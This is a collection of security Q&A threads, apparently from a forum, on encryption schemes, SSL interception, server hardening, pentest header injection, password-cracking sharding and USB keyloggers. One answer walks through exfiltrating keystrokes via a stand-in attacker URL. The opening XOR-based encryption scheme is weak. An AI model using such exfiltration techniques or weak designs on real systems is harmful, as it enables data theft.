DB Table USER_DATA contains ([XORed key] [random IV] [encrypted secret data] [userID])

Data Entry

1. User enters (secret data) into a form.
2. User enters (user password)
3. Generate a strong (random key).
4. Encrypt (secret data) using (random key) and (random IV), as (encrypted secret data).
5. XOR hash of (random key) with hash of (user password) as (XORed key).
6. In the database, store in a new row: (XORed key),(random IV),(encrypted secret data), (userID)

Retrieve Data

1. Ask user for (user password).
2. Query database for (XORed key),(random IV),(encrypted secret data).
3. XOR hash (user password) with (XORed key) to retrieve the initial (random key)
4. Use (random key), (random IV) to decrypt (encrypted secret data).
5. Display decrypted data on screen.

I'd like to request feedback about the system above, regarding its (1) security and (2) efficiency.  I would also like to get your thoughts about the following system:

Authentication

The simple way would be to store a hash of the password, authenticate against it, and create a session to allow browsing the records.  Each record is decrypted and then displayed to the user.  However, since the password is used to decrypt all user information, I'm trying to avoid storing its hash: I'm curious if it's even possible with only one server involved.  Here is one system I thought of, but breaking it would take exactly the same effort of brute-forcing a hash:

Initial User Login

1. Ask user for (user password)
1. Create a strong (random key)
2. XOR (user password) with (random key) into (XORed key).
   Store this value in the database.
3. Create a (random hash).  Store in database.
4. Encrypt (random hash) with (random key) and (random IV)
   as (Encrypted random hash).  Store in database.

So now we have in the database:
    Table USER_AUTH ([XORed key] [random hash] [Encrypted random hash] [random IV] )

In subsequent logins, the password the user supplies is XORed with (XORed key) to retrieve (random key).  (random key) is then used to decrypt (Encrypted random hash).  If the decrypted value is the same as (random hash), then the password is correct.

What you probably want to do is use a Key Wrap algorithm, but it's not absolutely necessary.  It seems reasonable to me that you could do the following for encryption:

Compute a user key from the user's password, using something strong like PBKDF2.
Generate a random data key.
Encrypt the data key with the user key, this will be stored as the wrapped key.
Generate an HMAC across the wrapped key keyed by the user key.  This will be stored for authentication.  (You still need to select the row by another mechanism.)
Encrypt the data using the data key.
Store the PBKDF2 salt, wrapped key, hmac, IV, and encrypted data.

Decryption:

Select the relevant row from the DB.
Using the salt, recalculate the user key from the password.
Verify the HMAC on the wrapped key using the user key.  This is the authentication step.
Use the user key to decrypt the wrapped key, revealing the data key.
Decrypt the data using the IV and the data key.


Is accessing bank account on the internet really secure? Before I ask my question, I would like to make sure that I understand the settings correctly.

So, the given:

A client, using some web browser (firefox, for instance) - the Client
The bank server - the Server
The Client establishes HTTPS connection with the Server
An SSL certificate signed by a well known CA is used
The Client's bank account access password is good and well protected.

Now, I am asking myself what makes it invulnerable to the MITM attack? Imagine that:

Someone gets a legitimate SSL certficate signed by any well known CA and issued to a certain machine.
Next, we need to make the HTTP traffic go through this machine. It is possible if the machine is configured to be a router and is located somewhere close to the endpoints - the corporate network or the respective ISP are the ones that come to mind.
The machine acts as an MITM proxy. Now, the browser should still warn the Client, because the presented certificate is issued to a host different from that in the URL, but examining the certificate would reveal that it is absolutely valid and is issued by a trustworthy CA - it may fool the human into accepting it.

So, my question is this - is it true that the security of online accounting depends on:

The strictness of the process of signing SSL certificates by well known CAs.
The security of the corporate and ISP IT labs.

Which is in addition to the power of the math behind the encryption, of course.

Thanks.

Security is relative,  for instance is accessing a bank in real life very secure?  You might get robbed at gun point.  Your ATM could have a Skimmer to steal the data off your card.

Sure SSL has its problems, the PKI also has its problems,  and  people are working on it.  The EFF is promoting "Sovereign Keys",  which basically prevents countries like Iran from forging a valid certificate for Gmail.  Moxie Marlinspike's proposed solution to rogue CAs is Convergence.

Very few people can full off an attack on SSL,  but when it breaks its really bad.  However,  a MITM attack won't get you shot.  So online banking is a lot more secure than any alternative we currently have.


How does SSL Proxy server in company work? Many companies use a network proxy in order to intercept web-based traffic for example.

I have some questions about their functioning:

1) I've never seen SSL warning in company. I doubt that they install trusted certificates from their proxy into the OS (because browsers may use different certificates store, Firefox has it's own for example).
So how does they intercept traffic without browser warning?

2) Supposing that they install the proxy certificate into each host. If a host wants to go to "https://google.com", the hostname into the certificate will be that of the proxy , not google. So in any case, a SSL warning should appear.
Does they generate certificates (with google hostname for example) signed by the trusted certificate proxy ?

I've never seen SSL warning in company

Did you verify that SSL interception is done at all? See How do I check that I have a direct SSL connection to a website?.

  So how does they intercept trafic without browser warning?

A SSL intercepting proxy creates a SSL connection between the proxy and the original target server and another SSL connection between the proxy and the client. The latter connection will use a certificate signed by the proxy CA. Insofar it is a classic SSL man in the middle attack and the only difference between the attack and the "legal" interception is that the client system has explicitly trusted the proxy CA and thus it will also trust the certificates signed with the proxy CA.

  I doubt that they install trusted certificates from their proxy into the OS (because browsers may use different certificates store, Firefox has it's own for example).

If you have different CA stores for the different browsers you would need to import the proxy CA into all of these.

  If a host wants to go to "https://google.com", the hostname into the certificate will be that of the proxy , not google

No. The subject of the certificate will be the original hostname (i.e. google.com). But this certificate will be signed by the proxy CA and not the original CA. And since the client trusts the proxy CA and the hostname matches the certificate no warnings will occur.


What would the high priority steps be for securing a small (cloud) application? No doubt there is much good information at this link on hardening a linux server and at the child links off of that.  And at this link to relevant tools it seems there has not yet been a popular security tool that the wiki writers are not enthusiastic about.  Reading and understanding it all would take a considerable amount of time depending on the level of knowledge you are starting with and then more time on top to install and evaluate and learn to use a subset of the 15 or so tools and implement enhanced security. However, the volume and nature of the advice makes it seem to me that the advisers may have in mind the security of well-known sites with multiple logins (and users), dedicated IT security personnel, and a web-presence reputation and corporate reputation to protect.

What high priority steps should I take in much less time than it would take to research security on stackexchange and ubuntu.com (say, 30 minutes or less) to enhance the security of my certainly-not-well-known server?  Details about my deployment and needs:

one instance (on the linode cloud) running the desktop version of ubuntu 10.10 (Maverick) and no intention nor need to have more than one instance
availability needs: one multi-hour outage per month is acceptable.  If and when there is a DOS attack, it will be inconvenient to figure out how to avoid it happening again but probably no more than an inconvenience
privacy need: yes, please
one administrator, presently logging in as root with SSH
zero users, in the traditional sense.  The administrator would be the only 'user' logging in to evolve the system and when it goes live, the administrator will be VNCing to look at results once or twice per day
SSH, although I did nothing at the server to force the client to do this
VNC.  At the client I always use SSH for VNC, although I did nothing at the server to force the client to do this
The system is mostly up and running but I will occassionally need to apt-get install, remove, or purge as I evolve the system I am developing
Filezilla to evolve the system (example: send it a new version of the application).  I always specify port 22 but I did nothing at the server to require this
the server runs exactly one application in Java (and a little bash scripting) developed by a trusted person, although that application will link popular libraries (example: Java's Joda) or invoke popular utilities (example: gnome-terminal, linux beep utility 1).  The application uses a trusted library to talk to the internet and the port number is known to me.
the administrator is using a strong password

[1] I know there is no need to install the linux beep utility on a cloud server but I sometimes run this application on my desktop computer where it is nice to have sounds. It is simpler for me to have only one version of the application rather than a sounded version and a silent version.

I think your implied criticism of the resources there is a little bit unfair.

But ok, so the premise is I get 30 minutes to secure the Linux server as well as possible?  Fair enough.  Here's a proposed checklist:

Turn on automatic updates for all software.  Choose a distribution that provides security updates for an essentially unlimited time.  (For instance, I wouldn't use Fedora for this purposes, because after 2 releases -- a year or so -- Fedora will no longer provide automatic security updates, which might render my server silently insecure after a certain amount of time.)  Update all software packages.
Enable a software firewall (iptables) and configure it to block inbound access to everything but SSH, VNC, and the port for that one server you are running.
Turn on automatic periodic backups.
Confirm that if the server gets hacked, it's not a big deal, either for my employer or for my professional reputation.
Configure SSH to allow only public key authentication (disable password authentication).
Reboot the Linux server.
Check that you got the firewall configuration right by scanning all open ports on the server using nmap, and making sure that nothing shows up other than the 3 you intended to allow.
Check that you can access your service (i.e., that none of your security lockdowns broke the server application you are running).

P.S. I'll point out that my answer on those threads already comes pretty close to your criteria; and please see my answer in any case for more elaboration on several the suggestions above.

The SANS checklist mentioned there already comes pretty close to your criteria, too, as it seems to be ordered by priority.


How can I stop an IP from trying to use my mail server? I have recently set up my first email server, and I look at the logs in /var/logs/mail.log to see what is happening, I notice this one IP does this multiple times every day for the last so many weeks :

May 15 19:44:36 rpi postfix/smtpd[14538]: NOQUEUE: reject: RCPT from unknown[91.236.75.224]: 504 5.5.2 <#MYIP#>: Helo command
rejected: need fully-qualified hostname; from=<smtp2001soho@yahoo.com> to=<m_luzhkov@freemailhost.ru> proto=SMTP helo=<#MYIP#>

May 17 16:01:48 rpi postfix/smtpd[16889]: NOQUEUE: reject: RCPT from unknown[91.236.75.224]: 504 5.5.2 <#MYIP#>: Helo command
rejected: need fully-qualified hostname; from=<smtp2001soho@yahoo.com> to=<m_luzhkov@freemailhost.ru> proto=SMTP helo=<#MYIP#>

May 19 13:41:38 rpi postfix/smtpd[19313]: NOQUEUE: reject: RCPT from unknown[91.236.75.224]: 504 5.5.2 <#MYIP#>: Helo command
rejected: need fully-qualified hostname; from=<smtp2001soho@yahoo.com> to=<m_luzhkov@freemailhost.ru> proto=SMTP helo=<#MYIP#>

Its always like that. My questions are :

Is this in any way a threat?
How can I stop this person?
If I cannot STOP this person, is there some sort of complaint I can file online?

I apologise if this is not the right place to ask such a question. If that is the case please point me to the relevant forum.

Regarding security, usually such connection attempts are just made by automated spam bots operating from malware contaminated PC. In all case it seems that these requests are correctly rejected by your server.

I recommend you to check SPAM protection measures to protect your mail server, and in particular I recommend you to setup a check toward SpamHaus database.

In particular, SpamHaus offers you two interesting systems:

The SpamHaus Block List (SBL) is a downloadable list of IP ranges either known to be owned by illegal organizations or which are not used by their owner and may therefore be used for illegitimate purposes. This list is to be used at your firewall level to directly drop corresponding traffic no matter the protocol since it will most probably be illegitimate traffic. The IP you mentions in your question is flagged by this list.
SpamHaus also offer lists dedicated to mail serves which can be queried upon each request by your mail server in order to provide more fine-grained filtering. These lists do not necessary correspond to illegitimate traffic, for instance IP ranges associated to end-user internet accesses are listed (usually this correspond to malware's spam, but it may also indicate someone having built a genuine email server at home), so it may require a bit of tunning to determine which list your need and how you may want your server to react exactly.

I strongly recommend to at least set up your server to use the SBL list to block traffic involving the IP it contains, and automate a daily update of this list.


Would HTTP Header injection allow for an XSS vulnerability if content-type is application/force-download? I am currently conducting a pentest and I found an application vulnerable to http header injection, where the user input is reflected after the Content-Type header, and the Content-Type is set to application/force-download. That is, the attacker can pass content in the GET parameter that is then reflected in the header. Imagine a request like so:

/vulnerable_application?param=reflected-header_malicious_payload

Which then yields a reponse like so:

HTTP/1.1 200 OK
Date: Wed, 06 Nov 2019 22:14:22 GMT
Server: [...]
Content-Length: 2
Content-Type: application/force-download; charset=UTF-16
Content-Disposition: attachment; filename=reflected-header_malicious_payload
Connection: close

I am trying to asses the severity of this finding, in particular whether it would allow for an reflected XSS attack. It seems to me that there is no way to get around the Content-Type: application/force-download which leads me to believe that the severity is pretty low.

You're probably right that I also can't think of a way to get XSS this way, due to the Content-Type: application/force-download header.

That said, once you can write HTTP headers, there is a bunch of dirty stuff you can do that is totally unrelated to XSS. Off the top of my head:

HTTP Response Splitting and smuggling
Adding another cookie header, which lets you force cookies into the victim's browser under the domain of the vulnerable site (I'm sure if you start overwriting legitimate cookies, then you can get interesting behaviours the next time the user connects to the legitimate site using the poisoned cookies).

If this was my pen test, I would probably stop here and file "HIGH - HTTP Header Injection". If the customer wanted a PoC, my next step would be looking through the list of HTTP Headers for one that I could do some damage with.


Is it "cross-platform attack" if first OS is not attacked at all? I am analyzing a mobile application, which has embedded files(Worms) to attack a desktop OS. But this application does not do any harm to the mobile platform. Mobile is just a medium to deliver malware to the PC. If we connect mobile to PC then worm will infect PC.

Can it be considered a cross-platform attack, even when first(mobile) OS is unharmed?

The scenario you describe qualifies as a cross-platform attack simply by the fact that one device attacks another.

The mobile app containing worms may not harm the mobile device itself, but it is by any other name a malicious, infected device. When plugged into the PC, it launches the attack to that platform, thus making it a cross-platform attack.

A specific example can be found on the TrendMicro antivirus website here.

That page describes the method of attack used by the TROJ_DROIDPACK.A trojan, which does exactly what you have asked about in your question, and is referred to as a cross-platform attack.


John the ripper - creating specific rules We have a situation where I am not finding any documentation on it.  We are trying to scale across multiple machines/job by breaking up the keyspace by complexity.  Its a 7 char completely random alphanum pwd.

We created a "wordlist" of 3844 "words" ie  all combos of 2 alphanumeric chars (62 * 62 = 3844)

aa
ab
ac
..
08
09
00

In CONFIG the plan was to set min/max len = 7

For scaling we were planning on creating 3844 rules, where each rule grabbed one line (Line N) from the wordlist followed by any alphanum for the remaining chars.  Something like below.

[Line N word]?x?x?x?x?x = Rule N

We can then at the command line, call each different rule, as a distinct job, with all machines setup as clones of each other.

1) What would a rule like this look like (Rule N), I can only find references to Az or A0 (ie all wordlist items, or prepending in all the documentation and examples around the web)

2) Any other settings I may be missing to accomplish this?

In the past when I've sharded password cracking across many machines, I have just split my wordlist into sections and provided each machine a section of wordlist to try.  This seems much more straightforward than manipulating rules per entry in the wordlist.  (After all, rules are meant to be applied to the wordlist, not to a single word.)


Different SSL states as seen by Safari, Chrome and Firefox Today, I visited some sites of the German DHL group.

While Chrome and Safari complain about an invalid certificate of

Firefox accepts it.

Which one is right, which one is wrong?
Which decision should a user trust?

This is what Safari reports:

To make this situation a bit more complicated, Firefox and Chrome accept the following link, but Safari complains about an invalid SSL certificate:

Link to Paket.de password recorvery

The screenshots show that the problem is not in the end-entity certificate (the actual server's certificate) but in the intermediate CA which issued it (the one just above): that CA is also shown with the "red cross". The error messages you see just tell you that the server's certificate cannot be used because its issuing CA is not trusted. To know why that issuing CA is not trusted, you have to click on it.

From my own systems, I see no problem with that issuing CA, and my browsers are happy with it (Firefox, Chromium on Linux; IE 8 on Windows XP). A possible reason may be a failure to obtain the CRL and/or OCSP information from the "DPWN Root", making it impossible for Safari to ascertain whether the "DPWN SSL CA" certificate was revoked or not (use of CRL and/or OCSP depends on the browser, the OS, and the configuration of both, so this may explain conflicting results).


How long does it typically take to distribute malware signatures? Are there industry-wide measures that identify how long it typically takes to identify, develop and distribute new malware signatures?  I want to understand how long organizations are typically exposed to new malware before a signature is available to them.

Exact information on how long it takes organisations to detect and publish signatures to their AV products  will be proprietary and closely guarded by the various AV vendors.

There are number of clues to the general time frame dotted around though. Kim Zetters book Countdown to Zero Day, conducted thorough research to tell the story of stuxnet, in the book she goes into great depth about the workings of the malware industry. In a passage specifically about Symantec she says the following;

  "When the company first entered the antivirus business, it was
  considered a good response time to turn around a threat -from
  discovery to delivery of signatures- within a week. But Symantec aimed
  to reduce this to less than a day. To accomplish this the company
  needed analysts in multiple time zones to spot viruses in the wild
  when they first appeared and to get signatures out to customers in the
  US before they woke up and began clicking on malicious e-mail
  attachments."

So Symantec and I presume their main competitors in the market have a very fast turnaround, when they successfully detect new malware or new strains of malware.

In 2010, which in technology terms may as well be a lifetime ago, there was certain circumstances when at least a week was still  possible for signatures to be published to some AV products for known malware.

Kaspersky Lab created 10 harmless files and flagged them to malware aggregators VirusTotal that Kaspersky considered them as malicious.

According to the Reuters news agency;

  "Within a week and a half, all 10 files were declared dangerous by as
  many as 14 security companies that had blindly followed Kaspersky's
  lead, according to a media presentation given by senior Kaspersky
  analyst Magnus Kalkuhl in Moscow in January 2010."

Another organisation admitted to conducting a similar experiment 3 years ago, they also quoted a week until they saw signatures being published. So not much had changed from the 2010 experiment, which suggests that the procedures and practices of some AV companies don't change that much over time.

Based on this I would suggest that AV signatures from malware detection to the publishing of a signature could be anywhere between 1 day to 1 week, depending on the AV vendor. Clearly this includes a lot of assumptions though.


What does the "configuration protection" mode do on Yubikeys? I can't seem to find any documentation on what these options do:

Does this somehow offer more protection to your secret key? That is all I can think it would do.

From the YubiCo docs: "To protect against unauthorized update of a specific configuration, a protection access code can be added. Then, in order to update or remove this configuration, the corresponding access code must be used, otherwise the request is rejected."


SSL certificate distribution of API We have an API which has SSL certificate signed from authorized CA. The access to the API is limited. API is accessed from webapp and only from those client who have valid public key for SSL. Now, how can I distribute the public key to the client or issue the ssl certificate to only authorized client who need to access webapp and api both?

At the start of a TLS/SSL handshake, the server will send its certificate, containing its public key, to any client who initiates a connection. You cannot keep the public key secret.

Instead, consider using TLS/SSL client authentication. Like the server, the client will also possess a certificate, public key and private key. Both the client and the server will verify each other's certificates during the handshake. You can ensure that only authorised clients possess client certificates.

Alternatively, use any application layer authentication protocol you wish.


Linux kernel entropy - does it matter to /dev/urandom and what is a minimum? This question had been asked several times, but still something's not clearly understood from other answers

I have a few servers running with a custom built linux kernel (minimal driver modules etc), and no disks attached (Everything's NAS based). The kernel entropy_avail can be 180-200 most often and can go as low as 140 other times. My applications use /dev/urandom (a java application which uses SecureRandom() that internally uses /dev/urandom)

From this nice writeup, it seems, /dev/urandom random stream mostly depends on the seed file generated at the time of installation (and the later re-seeding during boot time). Does it mean that the entropy_avail figure has no impact on the random numbers generated with /dev/urandom. Question is, does the /dev/urandom random numbers depend in any way on the entropy available ?
If yes, what is an acceptable lower limit for the entropy available in the system ? ( 200, 256 ? There are plenty being quoted out there..)
If no, then quoting the man page.

  A read from the /dev/urandom device will not block waiting for more
         entropy.  If there is not sufficient entropy, a pseudorandom number
         generator is used to create the requested bytes.

  Isn't that contradictory ?

The significance of entropy_avail. We understand from the man page that the full entropy pool size is 4096 bits, which implies there are 2^4096 possibilities for the outcome. So if entropy_avail is 140 does it mean it shrinks to 2^140 ? I still think that is a huge number, from what point should I start worrying from ?
In my case, as you can see, the entropy_avail is probably lower than what is observed on a normal desktop system. Should I consider software entropy generation tools (haveged, rngd etc.) or some specific hardware to help with improving it. Would that really impact the output of /dev/urandom ?

Entropy is required in the following sense: if a PRNG has only n bits of entropy, then this means that it has (conceptually) only 2n possible internal states, and thus could be broken through brutal enumeration of these 2n states, provided that n is low enough for such a brute force attack to be feasible.

Then things become complex, because the "entropy level" reported by the kernel is NOT the entropy. Not the one I talk about above.

From a cryptographic point of view, the algorithm that computes the output of both /dev/random and /dev/urandom is a (supposedly) cryptographically secure PRNG. What matters for practical security is, indeed, the accumulated entropy of the internal state. Barring cryptographic weaknesses in that PRNG (none is known right now), that entropy can only increase or remain constant over time. Indeed, "entropy" can also be called "that which the attacker does not know" and if the PRNG is indeed cryptographically secure, then, by definition, observing gigabytes of output yields only negligible information whatsoever on the internal state. That's what cryptographically secure means.

Therefore, if /dev/urandom had 200 bits of entropy at some point since last boot, then it still has 200 bits of entropy, or even more.

From the point of view of whoever wrote that code (and the dreaded corresponding man page), entropy is "depleted" upon use. This is the stance of someone who assumes, for the sake of the argument, that the PRNG is not cryptographically secure, and is in fact somehow equivalent to simply outputting the internal state as is. From that point of view, if /dev/random started with n bits of entropy and outputs k bits, then it now has n-k bits of entropy.

However, this point of view is not ultimately tenable, because while it is based on the assumption that the PRNG is utterly broken and a no-operation, it is also based, at the same time, on the assumption that the PRNG is still cryptographically secure enough to turn the "hardware entropy" (the sources of data elements that are assumed to be somewhat random) into a nice uniform sequence of bits. In short words, the notion of entropy depletion works only as long as we take the extreme assumption that the PRNG is utterly weak, but under this assumption the estimate of how much entropy is really there is completely off.

In essence, that point of view is self-contradictory. Unfortunately, /dev/random implements a blocking strategy that relies on this flawed entropy estimate, which is quite inconvenient.

/dev/urandom never blocks, regardless of how much "hardware entropy" has been gathered since last boot. However, in "normal" Linux installations, a random seed is inserted early in the boot process; that seed was saved upon the previous boot, and is renewed immediately after insertion. That seed mostly extends the entropy of /dev/urandom across reboots. So the assertion becomes: if /dev/urandom had 200 bits of entropy at any point since the OS was first installed, then it still has 200 bits of entropy.

This behaviour can still be somewhat troublesome for some specific cases, e.g. diskless boot. The booting machine may need some randomness before having access to its files (e.g. to establish an IPsec context needed to reach the server that contains the said files). A better implementation of /dev/urandom would block until a sufficient amount of hardware entropy has been gathered (e.g. 128 bits), but would then produce bits "forever", without implementing some sort of entropy depletion. This is precisely what FreeBSD's /dev/urandom does. And this is good.

Summary: don't worry. If the PRNG used in the kernel is cryptographically secure, as it seems to be, then the "entropy_avail" count is meaningless. If the PRNG used in the kernel is not cryptographically secure, then the "entropy_avail" count is still flawed, and you are in deep trouble anyway.

Note that VM snapshots break the entropy, since the behaviour of the VM after the restore will always work on the state that was saved in the snapshot, and will diverge only through accumulation of fresh hardware events (which can be tricky in a VM, since the VM hardware is not true hardware). The kernel's "entropy_avail" counter, and /dev/random blocking behaviour, change nothing at all to that. VM snapshot/restore are a much more plausible security vulnerability for the system PRNG than the academic, purely theoretical scenario that "entropy_avail" tries to capture (and actually fails to).


Are single case alphanumeric passwords the most user friendly? We are often advised, or required, to compose passwords containing all of the following: numerals, lower case letters, upper case letters and some special characters. In my view this is not the best advice.

Assuming we need need 80 bits of entropy in our password, that can be achieved in the following ways: 16 random single-case alphanumeric characters; 14 random two-case alphanumeric characters; or 13 printable ASCII characters

My contention is that it is easier to type two or three extra single case alphanumeric characters than it is to be repeatedly manipulating the the case shift key and to be searching around the keyboard for special characters.

If you want the password scheme to be most user friendly, then you got to let the user choose what he/she wants instead of enforcing such a limitation by second-guessing what the user might prefer.

Every human is unique. Some may prefer a short complicated password that can be entered quickly by virtue of pure muscle memory while others may prefer a passphrase that can be stringed into a song.

I think developers should respect that instead of trying to fit us all into a mould.


Proxy / VPN Quality Check / Detection Is there any way to build a script which detects or rates proxies like Maxmind's proxy detection software?

I have already tried to use this code, but it doesn't detect all proxies, in fact it detect quite a low amount of proxies, while Maxmind can detect a lot more.

 if(
        !gethostbyaddr($_SERVER['REMOTE_ADDR'])
        || gethostbyaddr($_SERVER['REMOTE_ADDR']) == "."
        || !$_SERVER['HTTP_ACCEPT_ENCODING']
        || $_SERVER['HTTP_X_FORWARDED_FOR']
        || $_SERVER['HTTP_X_FORWARDED']
        || $_SERVER['HTTP_FORWARDED_FOR']
        || $_SERVER['HTTP_VIA']
        || $_SERVER['HTTP_FORWARDED']
        || $_SERVER['HTTP_CLIENT_IP']
        || $_SERVER['HTTP_FORWARDED_FOR_IP']
        || $_SERVER['VIA']
        || $_SERVER['X_FORWARDED_FOR']
        || $_SERVER['FORWARDED_FOR']
        || $_SERVER['X_FORWARDED FORWARDED']
        || $_SERVER['CLIENT_IP']
        || $_SERVER['FORWARDED_FOR_IP']
        || $_SERVER['HTTP_PROXY_CONNECTION']
        || in_array($_SERVER['REMOTE_PORT'], array(8080,80,6588,8000,3128,553,554))
        || @fsockopen($_SERVER['REMOTE_ADDR'], 80, $errno, $errstr, 0)
        || !$_SERVER['HTTP_CONNECTION']
    )
    {
        echo 'proxy';
    }
    else
    {
        echo 'no proxy';
    }

Any solutions?

There is no sure way to detect proxy/vpn usage. Aside from what you've done (which won't catch many users tbh), the biggest bang for your buck will be an IP blacklist (which is most likely how maxmind are detecting proxies).

Here are some sites that offer IP blacklisting (I have no experience with any of them):

http://www.shroomery.org/ythan/proxyblock.php (free)
http://www.projecthoneypot.org/?rf=41535 (free, but more general abuse protextion than proxying)
http://www.maxmind.com/en/home
http://threatmetrix.com/

There are other tricks you can do to attempt to detect web proxies (like google translate, etc), which sometimes add extra headers. The problem is you'd have to add special cases for all of the ones that do (and most don't in any case).


OS reinstallation security contribution For an average user (doing on-line payments, etc.), would it be useful to periodically conduct a OS re-installation of his computer to improve security? How often would that be and how much extra security would that be?

Obviously, if you have the almost same system as before (thus almost the same flaws), then you are as likely to be infected the same way you were before OS re-installation. But you could hope to be clean for a moment. Is this improvement relevant? I guess this question is hard since it would be hard (impossible) to assess an average time a system is compromised. Are there any best practices concerning periodic fresh OS installations ?

Would periodic OS re-installation be useful in a company environment?

I personally would not attach any security to periodically re-installing my operating system, as it would also leave a window of out of date software when you just re-installed your operating system.

There are other ways to limit the chance of infection:

correct mindset (don't just click everywhere)
up to date operating system and software
anti-virus and firewall
Host based intrusion detection system (not widely deployed though, but can be a plus)

And in the event you do get infected, then you need to make sure you can roll back to the latest uninfected backup and patch the hole which made infection possible in the first place.

  Would periodic OS re-installation be useful in a company environment?

No not a chance, you don't want to start from scratch. What you can do is have have a clean image containing all your software and which is up to date. This is common practice in companies and is called a golden image or golden build.


How to detect a keylogger in a USB keyboard? Can a USB keyboard host a keylogger? I recently got an USB keyboard. I want to investigate if the microcontroller of the keyboard may host a keylogger and how could it interact with a Windows OS. My understanding is that, once Windows recognizes the USB device, it will get the appropriated driver from a secure Microsoft DB, so even if it is recording the key strokes, it cannot run by itself any SW to send them anywhere. I'm leaving aside the possibility of having a SW keylogger.

Is it possible that a USB keyboard could host a keylogger and that Windows could give it control to run a process to send the information to an address?

Regular USB key loggers that exfiltrate their data via Bluetooth or WiFi can easily be hidden inside a keyboard.  The Bluetooth loggers require the attacker to come into range to dump their contents, but a WiFi based adapter that's pre-configured with a network key doesn't even require the attacker to be present to win.  He can plug it in and let it sit there forever.  Such keyloggers have been commercially available for many years.  There are even open source implementations available from the NSA Playset project, which are devices designed to emulate the spy devices found in NSA's leaked and now infamous ANT catalog.  But now, there are new options that are even more sophisticated.

The BashBunny is a commercially available hardware implementation of a USB chameleon that performs these kinds of tasks; the USB Rubber Ducky is simply an Evil Keyboard Simulator.  The BashBunny works by running a small Linux computer that emulates generic USB keyboards, USB mass storage devices, USB serial ports, and/or USB network adapters.  The emulated devices leverage the existing signed Windows drivers that are used by generic chipsets.  Such devices can exfiltrate captured data via the victim PC simply by emulating a USB keyboard and typing instructions to send it elsewhere.

Here's a simplistic example of how they could exfiltrate data through the victim PC.  Imagine that the hidden USB device contains a data logger, and records your secrets for a day or two.  (The BashBunny does not contain a keylogger; it gets its data from scanning the host system.  Of course it could install a key logger, then harvest the data at a later time.)  When it's time to send the data, it generates USB messages that contain keystrokes, but the user isn't typing them.  By hitting <Windows>R, then typing http://www.evilhax0rs.invalid/key_logger_dump_page.php* it can bring up a mostly empty-looking page with a hidden input box located so far down the screen that you need scroll bars to find it.  Now, imagine the rogue keyboard hitting <Windows><Shift><Down-Arrow> to slide the browser window completely off the screen, hiding it from the user's view.  Next, the fake keyboard starts typing all its logged keystrokes into the input box (base64 encoded, naturally), and hitting <Enter> when finished.  Finally, after all the secrets have left the building, it types <Windows><Shift><Up-Arrow> to restore the browser, then quickly types <Control>F4 to close the tab.  Even if the user noticed the windows popping up before sliding out of view, it can happen so fast the typical victim won't have the chance to figure out what's happening.

As I said, these are commercially available and open source products you can buy today; the source code for the evil devices and the "ducky scripts" that do the phantom typing are all hosted on github.

* not a real page.


How to find out if your webcam and LED have been hardwired or not In these days webcam and LED in some laptops are interlocked either on a firmware base or a hardware base. Is there any possibility to determine whether or not the LED connection to the webcam is hardware based or firmware based? If it's hardware based then malware can't disable it.

I want to find out for Dell Inspiron 15 3521.

if you are running linux

uvcdynctrl -c

May show LED

if so

LED_STATE: 0=Always-off, 1=Always-on, 2=Always-blink, 3=Auto on

then

 uvcdynctrl -d CAMERA_NAME -s 'LED1 Mode' 1

Should turn it on


What is the incident Plan and Disaster recovery plan for Fire My boss is asking me to prepare the fire incident Plan(IR) and Disaster recovery plan(DR), and how can we determine it is IR / DR. I am no clue on those issue. What should I do?

I am no clue on those issue. What should I do?

This should be a good sign that you should not be the one planning such things.

An incident response plan is a plan you should follow during the incident to mitigate, reduce and contain the damage. Such a plan should clearly list out what everyone's role is supposed to be and what steps have to be taken so there is no confusion or panic when an incident occurs.

A disaster recovery plan is a plan that hopefully allows the business to recover from damages after the incident has occurred. This could include things like an alternative location to work etc.


How does a web client check the signing authority of a server certificate? In HTTP The Definitive Guide

  When you establish a secure web transaction through HTTPS, modern
  browsers automatically fetch the digital certificate for the server
  being connected to. If the server does not have a certificate, the
  secure connection fails.

  When the browser receives the certificate, it checks the signing
  authority. If it is a public, well-respected signing authority,
  the browser will already know its public key (browsers ship with
  certificates of many signing authorities preinstalled), so it can
  verify the signature as we discussed in the previous section, “Digital
  Signatures.”
  If the signing authority is unknown, the browser isn’t sure if it should trust the signing authority and usually displays a dialog box
  for the user to read and see if he trusts the signer. The signer might
  be the local IT department, or a software vendor.

How does a browser check the signing authority, after receiving a certificate from a server?

Does the browser need to get the public key from the signer, in order to verify the server certificate?
Are public keys of CAs and server certificates of servers stored separately?
Does the browser  permanently store the received server certificate somewhere, or delete them after the HTTP session or some expiration date?

If the computer which runs the browser also run a web server to host some web applications using HTTPS and server certificates, are those server certificates for the locally hosted web applications and the server certificates received by the local browser stored separately?

In Using Curl to Automate HTTP Jobs:

  curl also tries to verify that the server is who it claims to be, by
  verifying the server's certificate against a locally stored CA cert
  bundle. Failing the verification will cause curl to deny the
  connection. You must then use --insecure (-k) in case you want to tell
  curl to ignore that the server can't be verified.

  At times you may end up with your own CA cert store and then you can
  tell curl to use that to verify the server's certificate:

curl --cacert ca-bundle.pem https://example.com/

How does curl check the signing authority?

Is  "verifying the server's certificate against a locally stored CA cert bundle ca-bundle.pem" how curl checks the signing authority?
What is inside a locally stored CA cert bundle ca-bundle.pem?(I guess the bundle doesn't contain  server certificates, because curl  fetches server certificates directly from servers.)

If the computer which runs curl also run a web server to host some web applications using HTTPS and server certificates, are those server certificates for the locally hosted web applications and the locally stored CA cert bundle used by the local curl stored separately?

Thanks.

Public keys of certificate authorities are stored locally for every applicatives on the system.

For example, on Debian GNU/Linux:

$ dpkg -l|grep -i ca-certificates
ii  ca-certificates                       20190110                        all          Common CA certificates
ii  ca-certificates-java                  20190909                        all          Common CA certificates (JKS keystore)

When you look at ca-certificates content:

$ dpkg -L ca-certificates|head -n30
/.
/etc
/etc/ca-certificates
/etc/ca-certificates/update.d
/etc/ssl
/etc/ssl/certs
/usr
/usr/sbin
/usr/sbin/update-ca-certificates
/usr/share
/usr/share/ca-certificates
/usr/share/ca-certificates/mozilla
/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
/usr/share/ca-certificates/mozilla/AddTrust_External_Root.crt
/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
